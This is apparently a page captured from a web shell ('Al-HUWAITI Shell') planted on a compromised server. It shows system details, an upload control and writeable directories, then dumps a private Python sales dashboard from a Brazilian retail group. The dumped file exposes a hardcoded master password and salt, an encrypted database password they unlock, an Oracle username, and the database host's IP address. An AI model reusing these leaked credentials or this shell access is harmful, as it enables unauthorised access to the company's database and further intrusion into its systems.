Al-HUWAITI Shell
Al-huwaiti


Server : Apache
System : Linux dedi-14684855.grupobig.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : grupo692 ( 1004)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /home/grupo692/appstigrupobig/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/grupo692/appstigrupobig/dashCajazeiras.py
#Cajazeiras ( '4', '5' )
#http://162.214.65.39:8506/
#nohup python3 -m streamlit run dashCajazeiras.py --server.port 8506 --server.address 0.0.0.0 > dashCajazeiras.log 2>&1 &

#GrupoBiG
#http://162.214.65.39:8510/
#nohup python3 -m streamlit run 10Cia_Ilheus02.py --server.port 8510 --server.address 0.0.0.0 > dashGrupoBiG.log 2>&1 &

import streamlit as st
import cx_Oracle
import pandas as pd
import datetime
from sqlalchemy import create_engine
import locale
import base64
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2

# ==============================
# CONFIGURAÇÃO DO APP
# ==============================
st.set_page_config(
    page_title="10&Cia Ilhéus Zona Sul",
    page_icon="🛒",
    layout="wide"
)

MASTER_PASSWORD = "MinhaSenhaMestra123!"
SALT = b"SaltFixo12345678"
ITERATIONS = 10000

# ==============================
# LOCALE / FORMATAÇÃO
# ==============================
try:
    locale.setlocale(locale.LC_ALL, 'pt_BR.UTF-8')
except locale.Error:
    locale.setlocale(locale.LC_ALL, 'C')

def formatar_moeda(valor):
    try:
        valor_formatado = "{:,.2f}".format(valor)
        valor_formatado = valor_formatado.replace(",", "X").replace(".", ",").replace("X", ".")
        return f"R$ {valor_formatado}"
    except ValueError:
        return f"R${valor:,.2f}"

def formatar_numero(valor):
    return f"{valor:,}".replace(",", ".")

# ==============================
# CRIPTOGRAFIA
# ==============================
def generate_key_iv():
    key_iv = PBKDF2(
        MASTER_PASSWORD.encode("utf-8"),
        SALT,
        dkLen=48,        # 32 bytes key + 16 bytes IV
        count=ITERATIONS
    )
    return key_iv[:32], key_iv[32:]

def decrypt(cipher_text: str) -> str:
    """Descriptografa texto Base64"""
    key, iv = generate_key_iv()
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(base64.b64decode(cipher_text))
    pad_len = decrypted[-1]
    text = decrypted[:-pad_len].decode("utf-8", errors="ignore")
    return text.lstrip("\ufeff")

# ==============================
# CONEXÃO BANCO
# ==============================
@st.cache_resource
def conectar_banco():
    try:
        encrypted_pass = "+ivGpR7n9D4zKHONh/3W2A=="  # senha criptografada
        _pass = decrypt(encrypted_pass)

        connection = cx_Oracle.connect(
            user="EDIUSER",
            password=_pass,
            dsn="187.109.221.38:1521/PROTON"
        )
        engine = create_engine(
            f'oracle+cx_oracle://EDIUSER:{_pass}@187.109.221.38:1521/PROTON'
        )
        return connection, engine
    except cx_Oracle.DatabaseError as e:
        st.error(f"Erro ao conectar com o banco de dados: {e}")
        st.stop()

connection, engine = conectar_banco()

# ==============================
# TÍTULO
# ==============================
#st.markdown(
#    "<h2 style='text-align: center; color: #2e7d32; margin-bottom: 10px;'>📊 Vendas - 10&Cia Ilhéus Zona Sul</h2>",
#    unsafe_allow_html=True
#)

# ==============================
# SELEÇÃO DE DATA (CENTRALIZADA)
# ==============================
col1, col2, col3 = st.columns([1,2,1])
with col2:
    data_escolhida = st.date_input(
        "Selecione a data",
        datetime.datetime.now().date(),
        format="DD/MM/YYYY",
        label_visibility="collapsed"  # oculta o label
    )

# ==============================
# CONSULTA
# ==============================
query = """
SELECT 
    COD_UND,
    UNIDADE,
    SUM(QNTD_PEDIDOS) AS QNTD_PEDIDOS,
    SUM(VALOR_TOTAL) AS VALOR_TOTAL,
    NVL(SUM(MTA_META), 0) AS MTA_META,
    NVL(SUM(MTA_BIG_META), 0) AS MTA_BIG_META
FROM
(
    SELECT
        TPED_UNIDADE_FK_PK AS cod_und,
        TUND_UNIDADE.TUND_FANTASIA AS unidade,
        COUNT(TPED_PEDIDO_VENDA.TPED_NUMERO_PEDIDO_PK) AS qntd_pedidos,
        SUM(TPED_PEDIDO_VENDA.TPED_VALOR_TOTAL_PEDIDO) AS valor_total,
        BIG_METAS.MTA_META,
        BIG_METAS.MTA_BIG_META
    FROM TPED_PEDIDO_VENDA
    LEFT JOIN TUND_UNIDADE ON TUND_UNIDADE.TUND_UNIDADE_PK = TPED_UNIDADE_FK_PK
    LEFT JOIN DBAUSER.BIG_METAS ON DBAUSER.BIG_METAS.MTA_UNIDADE_FK_PK = TPED_UNIDADE_FK_PK 
        AND TO_CHAR(TRUNC(DBAUSER.BIG_METAS.MTA_MES_ANO, 'MM'), 'MMYYYY') = TO_CHAR(TRUNC(:data_escolhida, 'MM'), 'MMYYYY')
    WHERE TPED_PEDIDO_VENDA.TPED_UNIDADE_FK_PK = '23'
      AND TRUNC(TPED_PEDIDO_VENDA.TPED_DATA_EMISSAO) = TRUNC(:data_escolhida)
      AND TPED_STATUS_PEDIDO = 'MA'
      AND TPED_PEDIDO_VENDA.TPED_NATUREZA_MOVIMENTACAO = 'VM'
    GROUP BY TPED_UNIDADE_FK_PK, TUND_UNIDADE.TUND_FANTASIA, BIG_METAS.MTA_META, BIG_METAS.MTA_BIG_META

    UNION ALL

    SELECT
        TPED_UNIDADE_FK_PK AS cod_und,
        TUND_UNIDADE.TUND_FANTASIA AS unidade,
        COUNT(TPED_HISTORICO_VENDA.TPED_NUMERO_PEDIDO_PK) AS qntd_pedidos,
        SUM(TPED_HISTORICO_VENDA.TPED_VALOR_TOTAL_PEDIDO) AS valor_total,
        BIG_METAS.MTA_META,
        BIG_METAS.MTA_BIG_META
    FROM TPED_HISTORICO_VENDA
    LEFT JOIN TUND_UNIDADE ON TUND_UNIDADE.TUND_UNIDADE_PK = TPED_UNIDADE_FK_PK
    LEFT JOIN DBAUSER.BIG_METAS ON DBAUSER.BIG_METAS.MTA_UNIDADE_FK_PK = TPED_UNIDADE_FK_PK 
        AND TO_CHAR(TRUNC(DBAUSER.BIG_METAS.MTA_MES_ANO, 'MM'), 'MMYYYY') = TO_CHAR(TRUNC(:data_escolhida, 'MM'), 'MMYYYY')
    WHERE TPED_HISTORICO_VENDA.TPED_UNIDADE_FK_PK = '23'
      AND TRUNC(TPED_HISTORICO_VENDA.TPED_DATA_EMISSAO) = TRUNC(:data_escolhida)
      AND TPED_STATUS_PEDIDO = 'MA'
      AND TPED_HISTORICO_VENDA.TPED_NATUREZA_MOVIMENTACAO = 'VM'
    GROUP BY TPED_UNIDADE_FK_PK, TUND_UNIDADE.TUND_FANTASIA, BIG_METAS.MTA_META, BIG_METAS.MTA_BIG_META
)
GROUP BY COD_UND, UNIDADE
"""

# ==============================
# ÁREA PRINCIPAL
# ==============================
if st.button("🔄 Atualizar", use_container_width=True):
    df = pd.read_sql(query, engine, params={"data_escolhida": data_escolhida})

    if df.empty:
        st.warning("Não há vendas registradas nesta data.")
    else:
        valor_total = df['valor_total'].sum()
        qntd_pedidos = df['qntd_pedidos'].sum()
        meta = df['mta_meta'].sum()
        big_meta = df['mta_big_meta'].sum()

        ticket_medio = valor_total / qntd_pedidos if qntd_pedidos > 0 else 0

        st.markdown(
            f"""
            <div style='text-align: center; padding: 20px; 
                        background-color: #f0f9f0; 
                        border-radius: 15px; 
                        box-shadow: 0 3px 8px rgba(0,0,0,0.1);
                        margin-top: 15px;'>
                <h2 style='color: #2e7d32;'>💰 Total de Vendas</h2>
                <h1 style='font-size: 40px; color: #1b5e20; margin: 5px 0;'>{formatar_moeda(valor_total)}</h1>
                <p style='font-size: 20px; color: gray; margin: 3px 0;'>
                    🛒 Quantidade de Vendas: <b>{formatar_numero(qntd_pedidos)}</b>
                </p>
                <p style='font-size: 20px; color: gray; margin: 3px 0;'>
                    🎯 Ticket Médio: <b>{formatar_moeda(ticket_medio)}</b>
                </p>
                <p style='font-size: 18px; color: gray; margin-top: 8px;'>
                    Meta: {formatar_moeda(meta)} | BigMeta: {formatar_moeda(big_meta)}
                </p>
            </div>
            """,
            unsafe_allow_html=True
        )

Al-HUWAITI Shell